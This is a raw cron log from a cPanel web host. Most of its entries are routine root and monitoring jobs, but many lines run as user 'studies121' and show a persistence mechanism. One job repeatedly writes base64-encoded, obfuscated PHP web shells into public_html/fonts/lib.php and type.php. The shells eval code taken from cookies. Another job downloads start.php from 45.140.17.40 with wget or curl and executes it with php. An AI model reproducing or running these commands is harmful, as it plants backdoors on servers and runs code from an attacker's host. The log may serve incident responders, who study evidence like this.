Sep  3 23:06:01 ip-184-168-122-23 CROND[13250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:06:01 ip-184-168-122-23 CROND[13251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:07:01 ip-184-168-122-23 CROND[13334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:07:01 ip-184-168-122-23 CROND[13336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:07:01 ip-184-168-122-23 CROND[13337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:07:01 ip-184-168-122-23 CROND[13338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:08:02 ip-184-168-122-23 CROND[13432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:08:02 ip-184-168-122-23 CROND[13435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:08:02 ip-184-168-122-23 CROND[13437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:08:02 ip-184-168-122-23 CROND[13434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:08:02 ip-184-168-122-23 CROND[13436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:09:01 ip-184-168-122-23 CROND[13524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:09:01 ip-184-168-122-23 CROND[13526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:09:01 ip-184-168-122-23 CROND[13528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:09:01 ip-184-168-122-23 CROND[13529]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 23:09:01 ip-184-168-122-23 CROND[13527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:10:01 ip-184-168-122-23 CROND[13614]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 23:10:01 ip-184-168-122-23 CROND[13615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:10:01 ip-184-168-122-23 CROND[13618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:10:01 ip-184-168-122-23 CROND[13620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:10:01 ip-184-168-122-23 CROND[13619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:10:01 ip-184-168-122-23 CROND[13624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:10:01 ip-184-168-122-23 CROND[13626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:10:01 ip-184-168-122-23 CROND[13628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:11:01 ip-184-168-122-23 CROND[13725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:11:01 ip-184-168-122-23 CROND[13731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:11:01 ip-184-168-122-23 CROND[13733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:11:01 ip-184-168-122-23 CROND[13735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:12:01 ip-184-168-122-23 CROND[13889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:12:01 ip-184-168-122-23 CROND[13892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:12:01 ip-184-168-122-23 CROND[13891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:12:01 ip-184-168-122-23 CROND[13894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:12:01 ip-184-168-122-23 CROND[13895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:13:01 ip-184-168-122-23 CROND[13982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:13:01 ip-184-168-122-23 CROND[13987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:13:01 ip-184-168-122-23 CROND[13989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:13:01 ip-184-168-122-23 CROND[13990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:14:01 ip-184-168-122-23 CROND[14069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:14:01 ip-184-168-122-23 CROND[14071]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:14:01 ip-184-168-122-23 CROND[14072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:14:01 ip-184-168-122-23 CROND[14073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:14:01 ip-184-168-122-23 CROND[14074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:15:01 ip-184-168-122-23 CROND[14160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:15:01 ip-184-168-122-23 CROND[14161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:15:01 ip-184-168-122-23 CROND[14164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:15:01 ip-184-168-122-23 CROND[14165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:15:01 ip-184-168-122-23 CROND[14167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:15:01 ip-184-168-122-23 CROND[14168]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:16:01 ip-184-168-122-23 CROND[14261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:16:01 ip-184-168-122-23 CROND[14262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:16:01 ip-184-168-122-23 CROND[14265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:16:01 ip-184-168-122-23 CROND[14263]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 23:16:01 ip-184-168-122-23 CROND[14264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:16:01 ip-184-168-122-23 CROND[14266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:17:01 ip-184-168-122-23 CROND[14348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:17:01 ip-184-168-122-23 CROND[14351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:17:01 ip-184-168-122-23 CROND[14353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:17:01 ip-184-168-122-23 CROND[14354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:18:01 ip-184-168-122-23 CROND[14433]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:18:01 ip-184-168-122-23 CROND[14434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:18:01 ip-184-168-122-23 CROND[14438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:18:01 ip-184-168-122-23 CROND[14437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
